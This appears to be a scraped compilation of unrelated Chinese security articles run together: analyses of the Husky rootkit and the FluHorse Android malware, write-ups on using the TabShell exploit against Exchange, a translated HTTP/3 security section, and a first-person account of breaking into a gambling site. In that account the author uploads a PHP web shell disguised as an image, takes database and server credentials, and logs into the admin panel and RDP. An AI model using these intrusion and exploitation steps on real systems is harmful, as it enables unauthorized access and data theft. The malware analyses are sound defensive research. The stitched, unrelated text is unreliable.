C4配置可以使用以下短腳本（代碼段8）進行解密： 代碼段8：用於解碼和解密從堆棧中提取的Base64 blob的配置的代碼段 解密配置後，我們得到以下輸出： 代碼段9：解密配置的示例 解密的配置數據（Snippet 9）包括Brute Ratel C4有效負載的一些基本配置，包括C2服務器地址和開始通信的端口，對C2的請求應該是什麼樣子的Base64編碼模板，以及C2上用於各種功能和選項的不同路徑。 攻擊場景 我們發現x64 rootkit與Brute Ratel C4示例一起安裝在受攻擊的設備上更有趣，因為它被覆蓋相同示例的其他供應商完全忽略了。 Husky Rootkitx64 rootkit，我們稱之為Husky Rootkit，與Brute Ratel有效負載一起被釋放。 內核驅動程序由VMProtect打包，並使用頒發給“SHANGMAO CHEN”的證書進行簽名(圖4)。 rootkit使用的證書 驅動入口函數DriverEntry由於這個DriverEntry(圖5)函數被打包並混淆了，因此很難從中收集任何信息。它從一系列無條件分支指令(jmp)開始，基本上指向VMProtect解包存根。 VMProtected DriverEntry顯示了一個無條件分支指令作為它的第一條指令 但是在解包之後，我們發現像GsDriverEntry這樣的函數包含了更多的信息，以及我們可以在分析中使用的重要字符串（圖6）。 從GsDriverEntry中反彙編一個分支，該分支包含以thpt（HTTP的混合版本）作為其URL協議的URL字符串 C2通信rootkit直接與\\Device\Tcp進行交互以進行通信。因此，在受攻擊的設備上運行的用戶模式工具(如netstat和tcpview)會隱藏連接。 另一種方法是在VM主機上使用Wireshark進入客戶機的共享網絡接口，以監控受攻擊虛擬機的所有通信流量（圖7和圖8）。 Wireshark網絡捕獲的由rootkit啟動的流量 該惡意軟件與多個域以及每個域的相對路徑進行通信。 從服務器到URL中的/xccdd路徑的Web請求和響應顯示了響應有效負載 隱寫術引起我們注意的特定HTTP流量是從以下URL下載的一些圖像（JPEG–JFIF標頭）：http://pic.rmb.bdstatic.com//bjh/.jpeg. JPEG文件(圖9)是一張看起來很無辜的狗的圖片，因此研究人員將這些圖片命名rootkit為“Husky”。 該圖片含有有效負載 每個JPEG也有一個隱寫有效負載，其形式是在多個0的分隔符之後，將數據連接到偏移量為0x1769的圖片末尾(圖10)。 jpg文件中帶有狗的圖片末尾和負載的開始之間的分隔符的Hexview 通過查看數據，我們可以看到前32個字節與前一個請求對hxxp://rxeva6w.com:10100/xccdd的十六進制格式的服務器響應相同(代碼段10)。 代碼段10：有效負載的前32個字節在不同的有效負載中相似 諷刺是，域rxeva6w.com在88次檢測中一次也未被檢測到（圖11）。 VirusTotal顯示了在rveva6w.com域上的檢測結果 加密HTTP有效負載使用的加密/解密算法是一種稍微修改過的DES算法，密鑰為“j_k*a-vb”。 將解密密鑰傳遞給DES解密函數 附加功能除了通過HTTP進行通信和隱藏連接外，這個rootkit還能夠加載從不同URL下載的新模塊。 顯然，這個rootkit包含了本文未提及的額外功能。 示例2：Mingloa（CopperStealer）Rootkit2019年，ESET首次發現並命名了Mingloa惡意軟件。該惡意軟件後來也被Proofpoint發現了，也被稱為CopperStealer。 正如Proofpoint研究中所指出的，該惡意軟件具有查找和竊取保存的瀏覽器密碼的能力。除了保存的瀏覽器密碼外，該惡意軟件還使用存儲的cookie從Facebook檢索用戶訪問令牌。 這是CyberArk Endpoint Privilege Manager中包含的一系列憑據和安全令牌保護技術，這可以顯著限制CopperStealer等憑據竊取程序的影響。如果使用這些技術，CopperStealer將無法從受攻擊的設備中抓取數據。 示例概述 此惡意內核模塊是針對x86和x64體系結構編譯的。 惡意軟件攻擊場景的分解 該驅動程序使用頒發給“大連龍夢網絡技術有限公司”或“大連晨星網絡技術”的證書進行簽名。此證書可能是從受攻擊的設備上竊取的，或者是由員工洩露的。 頒發給“大連龍夢網絡科技”的證書，用於簽名驅動程序 通過用戶模式安裝讓我們首先看看應該部署驅動程序的用戶模式惡意軟件攻擊例程。 分解用戶模式組件執行流以安裝驅動程序 通過查看這個片段，我們可以看到InstallDriver函數接收到一個參數，並且首次調用時參數值為0。第二次調用時，參數值為1。 如果我們仔細觀察InstallDriver，會發現它首先嘗試創建一個semaphore，然後檢查Windows版本。如果這些調用中的任何一個失敗，它將退出而不執行任何操作。 二進製文件中InstallDriver函數開頭的反彙編，它調用CreateSemaphoreWrapper 如果之前的檢查成功，則惡意軟件將繼續，停止並刪除任何具有相同名稱的服務，最後將shouldInstallDriver參數與0進行比較。 CreateSemphoreWrapper函數的反彙編 如果shouldInstallDriver的值等於0，則函數將返回，不再執行任何指令。否則，它將根據系統架構，繼續安裝嵌入二進製文件中的適當驅動程序。 對InstallDriver函數的分解，它描述在系統上安裝驅動程序的流程 這部分代碼還包含一個邏輯錯誤，它會阻止加載此驅動程序。 第一次調用InstallDriver(應該只刪除任何現有的驅動程序)也會創建一個信號量。第二個調用也應該安裝驅動程序，但在安裝驅動程序之前會提前退出，因為semaphore已經存在。 這個邏輯錯誤有些神秘，因為惡意軟件通常會針對這些類型的錯誤進行測試。在這種情況下，它要么是在沒有任何測試的情況下匆忙部署的，要么還不打算部署到任何受攻擊的設備上。 驅動入口函數DriverEntry該惡意軟件的內核模式組件是傳統文件系統過濾器驅動程序，與更現代的迷你過濾器驅動程序不同，它可以在不使用回調過濾函數（如操作前回調例程或操作後回調例程）的情況下修改系統行為。 傳統的文件系統過濾器驅動程序可以直接修改文件系統行為，並且在每個I/O操作(如CREATE, READ和WRITE)中都被調用。 通過查看DriverEntry，我們可以看到兩個主要的函數例程被分配了IRP_MJ_READ和IRP_MJ_SET_INFORMATION。此外，它還註冊了兩個回調函數——一個使用CmRegisterCallback，另一個使用IoRegisterFsRegistrationChange。

0x00 前言利用TabShell可以使用普通用戶逃避沙箱並在Exchange Powershell中執行任意cmd命令，本文將要介紹利用TabShell執行cmd命令並獲得返回結果的方法，分享通過Python編寫腳本的細節。 0x01 簡介本文將要介紹以下內容： 執行cmd命令並獲得返回結果的方法 Python實現 0x02 執行cmd命令並獲得返回結果的方法testanull公開了一個利用的POC，地址如下：https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e 為了能夠支持更多的命令，POC需要做簡單修改，細節如下： 某些命令無法執行，例如netstat -ano或者systeminfo 解決方法： 去掉命令：$ps.WaitForExit() 執行cmd命令並獲得返回結果的方法有以下兩種： 1.使用Powershell連接Exchange服務器，實現TabShellPowershell命令示例： 需要注意以下問題： 需要域內主機上執行 需要fqdn，不支持IP 連接url可以選擇http或https 認證方式可以選擇Basic或Kerberos 2.通過SSRF漏洞調用Exchange Powershell，實現TabShell這裡需要通過Flask建立本地代理服務器，方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》 Powershell命令示例： 0x03 Python實現這裡需要考慮兩部分，一種是通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現，另一種是通過Powershell Session實現TabShell的Python實現，後者比前者需要額外考慮通信數據的編碼和解碼，具體細節如下： 1.通過SSRF漏洞調用Exchange Powershell實現TabShell的Python實現為了分析中間的通信數據，抓取明文數據的方法可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x04，在Flask中輸出中間的通信數據 關鍵代碼示例： 通過分析中間的通信數據，我們可以總結出以下通信過程： (1)creationXml 初始化，構造原始數據 (2)ReceiveData 循環多次執行，返回結果中包含'RunspaceState'作為結束符 (3)執行命令;/./././Windows/Microsoft.NET/assembly/GAC_MSIL/Microsoft.PowerShell.Commands.Utility/v4.0_3.0.0.0__31bf3856ad364e35/Microsoft.PowerShell.Commands.Utility.dll\Invoke-Expression 在返回數據中獲得CommandId (4)讀取輸出結果 通過CommandId讀取命令執行結果 (5)執行命令$ExecutionContext.SessionState.LanguageMode='FullLanguage' 在返回數據中獲得CommandId (6)讀取輸出結果 通過CommandId讀取命令執行結果 (7)執行命令並獲得返回結果 依次執行以下命令： 在返回數據中獲得CommandId，並通過CommandId讀取命令執行結果，這些命令的格式相同，發送數據的格式如下： (8)執行命令並獲得最終返回結果 發送數據的格式同(7)一致，執行的命令為：$Out，在返回數據中獲得CommandId，並通過CommandId讀取最終的命令執行結果，提取執行結果的示例代碼： 2.通過Powershell Session實現TabShell的Python實現這裡可以藉鑑上一篇文章《渗透技巧——Exchange Powershell的Python实现》 得出的經驗：兩者通信過程一致，只是通過Powershell Session實現TabShell的Python實現需要額外考慮通信數據的編碼和解碼 通信數據的編碼和解碼可參考上一篇文章《渗透技巧——Exchange Powershell的Python实现》 中的0x03 數據的編碼和解碼示例代碼如下： 完整代碼的輸出結果如下圖 0x04 小結本文介紹了利用TabShell執行cmd命令並獲得返回結果的方法，改進POC，分享通過Python編寫腳本的細節。

今天在浏览网页时突然发现了一个菠菜站，网站截图我就不发了 都说菠菜站做的比较安全不容易渗透，今天闲来无事就搞了一下。结果只是扫一下端口我的ip都被ban了。这就有点难过了，只能挂代理再看看。 浏览发现这个站应该不是菠菜主站，而是类似一个办理各种活动的旁站。并且在其中一个活动弹窗中发现了惊喜 这里居然可以上传sfz，那不意味着可能存在文件上传漏洞吗？在信息搜集的时候知道了这个服务器是IIS7.5的 前段时间刚好复习了解析漏洞，所以就试一试是否存在该漏洞 将php的大马做成图片马进行上传 从响应结果来看上传成功了，并且还返回了地址。接着就来访问一下 可以看到确实解析成功了，但是遗憾的是不能正常使用。所以接着直接将php大马的后缀改为jpg进行上传 再次访问发现可以正常使用了，进去一看居然里面还有很多人的个人信息和转账截图。不得不说菠菜害人啊。 既然有了webshell了，那么就先看看当前的权限吧 真是难搞额，又一次碰到了低权限。先不考虑提权，继续看看有没有其他敏感文件可利用的。在各种目录下翻找半天终于找到了数据库的配置文件，显示如下 赶紧连接数据库看看 发现了疑似管理员的账户和密码，试了试这个是能够解密出来的，运气还不错 接下来就登录后台看看 结果大失所望，原本以为会有各种用户的信息和资金流之类的。都到了这一步了，只能继续了。就在一边苦逼想思路怎么提权一边感叹菠菜站确实不是浪得虚名的时候，居然在某个文件夹下面发现了服务器的资料文件 注意看这个文件名——“服务器资料”。可真是瞌睡了有人送枕头。从这里知道这个站应该是基于宝塔搭建的，并账户和密码都给出来了，太贴心了。尝试登陆上去看看 如图，几个数据库里面就记录着很多罪恶的金钱交易。具体就不放出来了。 在宝塔上还看到管理员将3389端口改成了19283。结合前面文件里面给出了服务器账户和密码，登陆上看看 通过一顿折腾发现这个服务器下面放了三个关于菠菜的站点，功能还各不相同。一个是主站，一个是办理活动的，还有一个是抢红包的。可真是丰富多彩啊。 转载于原文链接： https://www.kngzs.cn/1705.html

10. 安全注意事項HTTP/3的安全考慮應該與使用TLS的HTTP/2相當。然而，[HTTP/2] 第10 節中的許多注意事項適用於[QUIC-TRANSPORT]。 10.1. 服務器權限HTTP/3依賴於HTTP對權限的定義。建立權限時的安全考慮在[HTTP]第17.1節中進行討論。 10.2 跨協議攻擊在TLS 和QUIC 握手中使用ALPN 在處理應用層字節之前建立目標應用協議。這確保了終端有強有力的保證，即對等方使用相同的協議。 這並不能保證免受所有跨協議攻擊。我們會在[QUIC- transport]中描述一些方法，可以使用QUIC 數據包的明文對不使用經過身份驗證的傳輸的終端執行請求偽造的方法。 10.3. 中間封裝（Intermediary-Encapsulation）攻擊HTTP/3 字段編碼允許在HTTP 使用的語法中表達不是有效字段名稱的名稱（[HTTP] 的第5.1 節）。包含無效字段名稱的請求或響應必須被視為格式錯誤。因此，中介無法將包含無效字段名稱的HTTP/3 請求或響應轉換為HTTP/1.1 消息。 同樣，HTTP/3 可以傳輸無效的字段值。雖然大多數可以編碼的值不會改變字段解析，但如果逐字翻譯，攻擊者可能會利用回車符(ASCII0x0d)、換行符(ASCII0x0a) 和空字符(ASCII0x00)。任何包含字段值中不允許的字符的請求或響應都必須被視為格式錯誤。有效字符由[HTTP] 第5.5 節中的“field-content”ABNF 規則定義。 10.4 推送響應的可緩存性推送響應沒有來自客戶端的明確請求，請求是由服務端在PUSH_PROMISE幀中提供的。 根據原始服務器在Cache-Control 標頭字段中提供的指導，可以緩存推送的響應。但是，如果一台服務器託管多個租戶，這可能會導致問題。例如，服務器可能會為多個用戶提供其URI 空間的一小部分。 當多個租戶共享同一服務器上的空間時，該服務器必須確保租戶無法推送他們無權訪問的資源的表示。未能強制執行此操作將允許租戶提供將在緩存之外提供的表示，從而覆蓋權威租戶提供的實際表示。 要求客戶端拒絕原始服務器不具有權威性的推送響應（見第4.6 節）。 10.5 拒絕服務注意事項與HTTP/1.1 或HTTP/2 連接相比，HTTP/3 連接可能需要更大的資源承諾才能運行。字段壓縮和流量控制的使用取決於用於存儲更多狀態的資源的承諾。這些功能的設置可確保這些功能的內存承諾受到嚴格限制。 PUSH_PROMISE幀的數量也以類似的方式被限制。接受服務器推送的客戶端應該限制一次發送的Push ID的數量。 處理能力不能像狀態能力那樣得到有效保護。 發送對等方需要忽略的未定義協議元素的能力可能被濫用，從而導致對等方花費額外的處理時間。這可以通過設置多個未定義的SETTINGS參數、未知幀類型或未知流類型來完成。但是請注意，某些用途是完全合法的，例如可理解的擴展和填充以增加對流量分析的阻止力。 所有這些功能，例如服務器推送、未知協議元素、字段壓縮都有合法的用途。只有在不必要或過度使用時，這些功能才會成為一種負擔。 如果不監控此類行為的終端，則會使自己面臨拒絕服務攻擊。實現應該跟踪這些功能的使用，並對它們的使用設置限制。終端可以將可疑的活動視為H3_EXCESSIVE_LOAD類型的連接錯誤，但誤報將導致中斷有效連接和請求。 10.5.1 字段段大小的限制 大字段部分（第4.1 節）可能導致實現提交大量狀態。對路由至關重要的標頭字段可能出現在標頭部分的末尾，這會阻止標頭部分流傳輸到其最終目的地。這種排序和其他原因（例如確保緩存正確性）意味著終端可能需要緩衝整個標頭部分。由於字段部分的大小沒有硬性限制，一些終端可能被迫為標頭字段提交大量可用內存。 終端可以使用SETTINGS_MAX_FIELD_SECTION_SIZE（第4.2.2 節）設置來通知對等方可能適用於字段部分大小的限制。此設置只是建議性的，因此終端可以選擇發送超出此限制的字段部分，並有可能將請求或響應視為格式錯誤。此設置特定於HTTP/3 連接，因此任何請求或響應都可能遇到具有較低未知限制的躍點。中間人可以嘗試通過傳遞不同對等方提供的值來避免這個問題，但他們沒有義務這樣做。 當服務器接收到比它願意處理的更大的字段段時，可以發送一個HTTP 431(請求標頭字段太大)狀態碼([RFC6585])。客戶端可以刪除它無法處理的響應。 10.5.2 連接問題 CONNECT方法可以用於在代理上創建不成比例的負載，因為與創建和維護TCP連接相比，流的創建是相對便宜的。因此，支持CONNECT的代理在接受並發請求的數量上可能比較保守。 代理還可能會在關閉攜帶CONNECT 請求的流之後為TCP 連接維護一些資源，因為傳出TCP 連接仍處於TIME_WAIT 狀態。考慮到這一點，代理可能會在TCP 連接終止後延遲增加QUIC 流限制一段時間。 10.6 使用壓縮當秘密數據在與攻擊者控制的數據相同的上下文中被壓縮時，壓縮可以讓攻擊者恢復秘密數據。 HTTP/3 啟用字段壓縮（第4.2 節）；以下問題也適用於HTTP 壓縮內容編碼的使用，具體請參閱[HTTP] 的第8.4.1 節。 有一些針對壓縮的攻擊利用了網絡的功能(例如，[BREACH])。攻擊者誘導多個包含不同明文的請求，觀察每個請求中生成的密文的長度，當對秘密的猜測正確時，會顯示較短的長度。 在安全通道上通信的實現不得壓縮包含機密和攻擊者控制的數據的內容，除非每個數據源使用單獨的壓縮上下文。如果不能可靠地確定數據源，則不得使用壓縮。 10.7 填充和流量分析填充可用於掩蓋幀內容的確切大小，並用於緩解HTTP 中的特定攻擊，例如，壓縮內容包括攻擊者控制的明文和秘密數據的攻擊（例如，[BREACH]）。 當HTTP/2使用填充幀和其他幀中的填充字段來使連接更能阻止流量分析時，HTTP/3既可以依賴傳輸層填充，也可以使用在7.2.8節和6.2.3節中討論的保留幀和流類型。這些填充方法在填充的粒度、如何根據受保護的信息排列填充、是否在數據包丟失的情況下應用填充以及實現如何控制填充等方面產生不同的結果。 保留流類型可用於在連接空閒時提供發送流量的外觀。因為HTTP流量經常以突發的形式出現，所以可以使用明顯的流量來掩蓋這種突發的時間或持續時間，甚至看起來像是在發送恆定的數據流。然而，由於這些流量仍然是由接收方控制的流量，如果不能及時排出這些流量並提供額外的流量控制信用，可能會限制發送方發送真實流量的能力。 為了緩解依賴於壓縮的攻擊，禁用或限制壓縮可能比填充更可取。 填充方法的使用可能導致保護效果不如看上去那麼明顯。冗餘填充甚至可能適得其反。充其量，填充只會使攻擊者更難通過增加攻擊者必須觀察的幀數來推斷長度信息。錯誤實現的填充方案很容易被繞過。特別是，具有可預測分佈的隨機填充提供的保護非常少。同樣，將有效負載填充到固定大小會在有效負載大小跨越固定大小邊界時暴露信息，如果攻擊者可以控制明文，這是可能的。 10.8 幀解析一些協議元素包含嵌套的長度元素，通常以具有顯式長度的幀的形式包含可變長度整數。這可能會給粗心的實施者帶來安全風險。實現必須確保幀的長度與其包含的字段長度完全匹配。 10.9 早期的數據將0-RTT 與HTTP/3 一起使用會導致重放攻擊。當使用帶有0-RTT 的HTTP/3 時，必須應用[HTTP-REPLAY] 中的反重放緩解措施。在將[HTTP-REPLAY] 應用於HTTP/3 時，對TLS 層的引用是指在QUIC 中執行的握手，而對應用程序數據的所有引用指的是流的內容。 10.10 遷移某些HTTP實現使用客戶端地址進行日誌記錄或訪問控制。由於QUIC客戶端的地址可能會在連接期間發生變化，並且未來版本可能支持同時使用多個地址，因此此類實現將需要主動檢索客戶端的當前地址或相關地址，或者明確接受原始地址可能會更改。 10.11 隱私注意事項HTTP/3的一些特徵為觀察者提供了一個機會，可以在一段時間內關聯單個客戶端或服務器的操作。這包括設置的值，對刺激的反應時間，以及處理由設置控制的任何功能。 就這些在行為上產生可觀察到的差異而言，它們可以用作對特定客戶進行指紋識別的基礎。 HTTP/3 對使用單個QUIC 連接的偏好允許關聯用戶在站點上的活動。重用不同來源的連接允許跨這些來源的活動相關聯。 QUIC的幾個功能要求立即響應，終端可以使用它來測量對等方的延遲，在某些情況下，這可能會出現隱私洩露。 11. IANA 注意事項本文檔註冊了一個新的ALPN 協議ID（第11.1 節）並創建了管理HTTP/3 中代碼點分配的新註冊表。 11.1. 註冊HTTP/3標識字符串本文在[RFC7301]建立的“TLS 應用層協議協商(ALPN) 協議ID”註冊表中創建了一個新的HTTP/3標識註冊。 “h3”字符串標識HTTP/3； 協議：HTTP/3； 識別順序：0x680x33 ('h3')； 規格：本文件； 11.2 新註冊在本文中創建的新註冊按照[QUIC-TRANSPORT] 第22.1 節中記錄的QUIC 註冊政策運行。這些註冊表都包括[QUIC-TRANSPORT] 的第22.1.1 節中列出的通用字段集。這些註冊表出現在“超文本傳輸協議版本3 (HTTP/3)”標題下。 這些註冊表中的初始分配都被分配了永久狀態，並列出了IETF 的變更控制者和HTTP 工作組的聯繫人(ietf-http-wg@w3.org)。 11.2.1 幀類型 本文為HTTP/3幀類型代碼建立了一個註冊表。 “HTTP/3幀類型”註冊表管理62位空間。本註冊中心遵循QUIC註冊中心政策；參見11.2節。該註冊表遵循QUIC 註冊表政策；見第11.2 節。此註冊表中的永久註冊是使用規範要求策略([RFC8126]) 分配的，但0x00 和0x3f 之間的值（十六進制；包括在內）除外，這些值是使用標準操作或IESG 批准分配的，如[ RFC8126]。 雖然此註冊表與[HTTP/2] 中定義的“HTTP/2 幀類型”註冊表是分開的，但在代碼空間重疊的情況下，分配最好彼此平行。如果一個條目僅存在於一個註冊表中，則應盡一切努力避免將相應的值分配給不相關的操作。評審員可以拒絕與相應註冊表中相同值衝突的不相關註冊。 除了第11.2節中描述的常見字段外，本註冊中心的永久註冊必須包括以下字段： 幀類型：幀類型的名稱或標籤。 幀類型的規範必須包括幀佈局及其語義的描述，包括有條件存在的幀的任何部分。 下表中的條目都是由本文介紹過的。 初始HTTP/3幀類型 對於N 的非負整數值，即0x21、0x40、到0x3ffffffffffffffe，格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。 11.2.2 SETTINGS參數 由於為HTTP/3設置了註冊表。 “HTTP/3設置”註冊表管理62位空間。該註冊表遵循QUIC 註冊表政策，具體見第11.2 節。此註冊表中的永久註冊是使用規範要求策略([RFC8126]) 分配的，但0x00 和0x3f 之間的值（十六進制；包括在內）除外，這些值是使用標準操作或IESG 批准分配的，如[ RFC8126]。 雖然此註冊表不同於[HTTP/2] 中定義的“HTTP/2 設置”的註冊表，但最好是這些分配彼此並行。如果一個條目僅存在於一個註冊表中，則應盡一切努力避免將相應的值分配給不相關的操作。評審員可以拒絕與相應註冊表中相同值衝突的不相關註冊。 除了第11.2 節中描述的通用字段外，此註冊表中的永久註冊必須包括以下字段： 設置名稱：設置的符號名稱，指定設置名稱是可選的。 默認值：該設置的值，除非另有說明。默認值應該是最具限制性的值。 初始HTTP/3設置 出於格式原因，可以通過刪除'SETTINGS_'前綴來簡化設置名稱。 對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。 11.2.3 錯誤代碼 已經建立了HTTP/3錯誤碼的註冊表。 “HTTP/3錯誤碼”註冊表管理一個62位的空間。該註冊中心遵循QUIC註冊中心政策。此註冊表中的永久註冊使用規範要求策略([RFC8126])分配，但0x00 和0x3f 之間的值（十六進制包括在內）除外，這些值是使用標準操作或IESG 批准分配的。 錯誤代碼的註冊需要包含錯誤代碼的描述，建議審閱者檢查新註冊是否可能與現有錯誤代碼重複。鼓勵使用現有註冊，但不是強制性的。不鼓勵使用在“HTTP/2 錯誤代碼”註冊表中註冊的值，專家審閱者可能會拒絕此類註冊。 除了第11.2節中描述的通用字段外，這個註冊表還包括兩個附加字段。在本註冊中心的永久註冊必須包括以下字段： 名稱：錯誤代碼的名稱。 描述：錯誤代碼語義的簡要描述。 下表中的條目是本文所介紹的。這些錯誤代碼是從對規範要求策略運行的範圍中選擇的，以避免與HTTP/2 錯誤代碼衝突。 初始HTTP/3 錯誤代碼 對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。 11.2.4 流類型 HTTP/3單向流類型會建立一個註冊表，“HTTP/3流類型”註冊表管理62位空間。該註冊表遵循QUIC 註冊表政策；見第11.2 節。此註冊表中的永久註冊是使用規範要求策略分配的，但0x00 和0x3f 之間的值（十六進制包括在內）除外，這些值是使用標準操作或IESG 批准分配的。 除了第11.2 節中描述的常見字段外，此註冊表中的永久註冊必須包括以下字段： 流類型：流類型的名稱或標籤。 發件人：HTTP/3 連接上的哪個終端可以啟動這種類型的流。值為“客戶端”、“服務器”或“兩者都有”。 永久註冊的規範必須包括流類型的描述，包括流內容的佈局和語義。 下表中的初始流類型是本文出現過的： 初始流類型 對於N 的非負整數值（即0x21、0x40、到0x3ffffffffffffffe），格式為0x1f * N +0x21 的每個代碼不得由IANA 分配，並且不得出現在分配值列表中。

0x00 前言遠程執行Exchange Powershell命令可以通過Powershell建立powershell session 實現。而在滲透測試中，我們需要盡可能避免使用Powershell，而是通過程序去實現。本文將要介紹通過Python實現遠程執行Exchange Powershell命令的細節，分享使用Python實現TabShell利用的心得。 0x01 簡介本文件將介紹以下內容： 執行Exchange Powershell 命令的實際方法 開發細節 TabShell利用細節 0x02 執行Exchange Powershell 命令的實際方法1.使用Powershell連接Exchange服務器，執行Exchange Powershell命令命令示例： 需要注意以下問題： 需要域內主機上執行 需要fqdn，不支持IP 連接url可以選擇http或者https 認證方式可以選擇Basic或者Kerberos 2.使用Python連接Exchange服務器，執行Exchange Powershell命令這裡需要使用pypsrp 命令示例： 0x03 開發細節這裡需要了解具體的通信格式，我採用的方法是使用pypsrp，打開調試信息，查看具體發送的數據格式 1.啟動調試信息將調試信息寫到文件，代碼如下： 2.增加調試輸出內容修改文件pypsrp/wsman.py，在def send(self, message: bytes)中添加調試輸出信息 具體代號位置： https://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L834，添加代碼： https://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L841，添加代碼： 輸出結果顯示如下圖 3.數據包數據結構可參考之前的文章《渗透技巧——远程访问Exchange Powershell》 經過對比分析，在編寫程序上還需要注意以下細節： (1)Kerberos認證的實際情況 示例代碼： (2)通信數據格式 類型為POST header需要包裹：'Accept-Encoding': 'identity' (3)認證流程 需要先進行Kerberos認證，返回長度為0 再次發送數據，進行通信，返回正常內容 (4)數據編碼 發送和接收的數據平均做了編碼 發送過程序的代碼顯示示例代碼： 注： hostname必須為小寫字符 接收過程序的解碼示例代碼： 完整展示示例代碼如下： 完整代碼的輸出結果如下圖 0x04 TabShell利用細節TabShell的公開POC使用Powershell連接取接Exchange服務器，執行特殊構造的Exchange Powershell命令接觸，為便於分析中間的通信數據，可以採用以下方法擦拭中間： 1.通過Flask構建本地代理服務器方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》 2.通過Flask實現SSRFSSRF漏洞可選擇CVE-2022-41040或CVE-2022-41080 3.在Flask中輸出中間的通信數據關鍵字代碼示例： 根據通信數據，我們可以很容易地寫出TabShell的Python現代代碼，完整代碼的輸出結果如下圖 0x05 小結本文件介紹了通過Python 實現遠程執行Exchange Powershell 命令的細節，分享使用Python 實現TabShell 使用的心得。

Check Point的研究人員最近發現了一種名為FluHorse的新型惡意軟件。該惡意軟件具有幾個模仿合法應用程序的惡意安卓應用程序，其中大多數安裝量超過100萬次。這些惡意應用程序竊取受害者的憑據和雙因素身份驗證（2FA）代碼。 FluHorse針對東亞市場的不同領域，並通過電子郵件進行傳播。在某些情況下，第一階段攻擊中使用的電子郵件屬於知名對象。惡意軟件可以在數月內不被發現，這使其成為一種持久、危險且難以發現的威脅。 其中一個惡意軟件樣本在3個月後仍未在VirusTotal（VT）上檢測到 攻擊者使用規避技術、模糊處理和執行前的長時間延遲等技巧來躲過虛擬環境的檢測。通常，這些技巧都有自定義實現，需要開發者付出大量的努力。 令人驚訝的是，FluHorse內部沒有使用自定義實現的技巧，因為惡意軟件的開發者在開發過程中完全依賴開源框架。儘管一些應用程序部分是用Kotlin創建的，但惡意功能是用Flutter實現的。 Flutter是一個開源的用戶界面軟件開發工具包，由谷歌創建。它用於為各種平台開發跨平台應用程序，包括用於移動設備的Android和iOS，使用單個代碼庫。 Flutter之所以成為惡意軟件開發人員的一個有吸引力的選擇，是因為它使用自定義虛擬機（VM）來支持不同的平台，而且它易於創建GUI元素。此外，由於自定義的虛擬機，分析此類應用程序非常複雜，這使得該框架成為Android網絡釣魚攻擊的完美解決方案。 模擬應用程序攻擊者會為每個國家的目標開發一個虛假應用程序：攻擊者努力仔細模仿所有關鍵細節，以避免引起任何懷疑。 網絡釣魚讓我們看一下如何在應用程序的不同變體中實現網絡釣魚，有趣的是，惡意應用程序不包含任何東西，除了為受害者提供輸入可能性的幾個窗口副本。沒有添加額外的函數或檢查。這種刻意的簡單性讓我們得出結論，惡意軟件的開發者並沒有在他們創建的編程部分投入太多精力，又或者他們可能故意做出這個決定，以進一步減少被安全解決方案檢測到的機會。 不管他們的意圖是什麼，這個計劃都很有效。受害者輸入敏感數據後，這些數據會被洩露到CC服務器。與此同時，惡意軟件要求受害者在“處理數據”時等待幾分鐘。在這一步中，短信攔截功能發揮作用，將所有傳入的短信流量重定向到惡意服務器。如果攻擊者輸入被盜憑證或信用卡數據，然後被要求輸入雙因素身份驗證（2FA）代碼，這也會被攔截。網絡釣魚方案如下： 惡意軟件如何進行網絡釣魚攻擊 請注意，根據惡意應用程序的類型（針對電子收費、銀行或約會用戶），可能不需要憑據或信用卡號。 感染鍊和目標在受害者的設備上安裝惡意應用程序之前，必須先發送惡意應用程序。這就是電子郵件誘餌派上用場的地方。我們追踪了不同類型惡意應用程序的感染鏈，並在這些電子郵件的收件人中發現了多個知名對象，包括政府部門和大型工業公司的員工。 電子郵件誘餌很好地利用了社會工程，並與隨後安裝的惡意APK的所謂目的一致：支付通行費。 這是一個帶有fetc.net.tw-notice@twfetc.com發件人地址： 攻擊者發送給政府接收者的電子郵件示例 攻擊者使用的惡意fetc-net[.]com域與fetc公司的官方網站fetc.net.tw非常相似。 在這個惡意網站上，攻擊者添加了一個額外的保護層，以確保只有受害者才能下載APK：如果目標的用戶代理與預期的用戶代理匹配，就會下載APK。此檢查是通過客戶端JavaScript執行的： 惡意軟件安裝完成後，需要短信權限： ETC APK請求SMS權限 在此步驟中獲得的權限將在受害者輸入敏感數據後生效。 惡意電子收費APK此應用程序僅包含3個窗口： 惡意ETC APK按順序顯示的窗口 第一個窗口詢問用戶憑證，第二個窗口詢問信用卡數據。所有這些敏感數據都被洩露到惡意的CC服務器。接下來，第三個窗口要求用戶等待10分鐘，因為“系統繁忙”。希望用戶關閉應用程序，或者至少在合理的時間內不被懷疑。當用戶被“系統繁忙”消息誤導而產生虛假的安全感時，攻擊者會執行所有必要的操作，即攔截所有帶有2FA代碼的短信，並利用被盜數據。 這個誘餌應用程序的整個GUI看起來像是原始ETC應用程序的一個簡單副本，用於收取通行費。以下是惡意和合法應用程序入口窗口的可視化比較： 原始輸入窗口(左)和惡意APK輸入窗口(右) 原始應用程序不顯示任何用於登錄或輸入用戶憑據的字段。相反，有一個單獨的窗口用於此目的： 原始應用程序登錄表格 惡意VPBank APK此應用程序僅包含2個窗口： 惡意VPBank APK按順序顯示的窗口 其原理與其他惡意APK相同：要求用戶輸入憑據，然後等待15分鐘（而惡意ETC APK則為10分鐘）。在此期間，惡意軟件攔截所有傳入的SMS，從而為攻擊者提供他們可能需要的所有2FA代碼。請注意，此應用程序不要求提供信用卡詳細信息。 惡意和合法應用程序登錄窗口之間的比較： 原始登錄窗口（左）和惡意APK輸入窗口（右） 如上所示，即使缺少某些GUI元素，惡意副本看起來也很好。 惡意約會APK約會應用程序不包含任何窗口。相反，它實際上充當了一個瀏覽器，引導用戶進入釣魚約會網站。但是，竊取和處理數據的原理是一樣的。 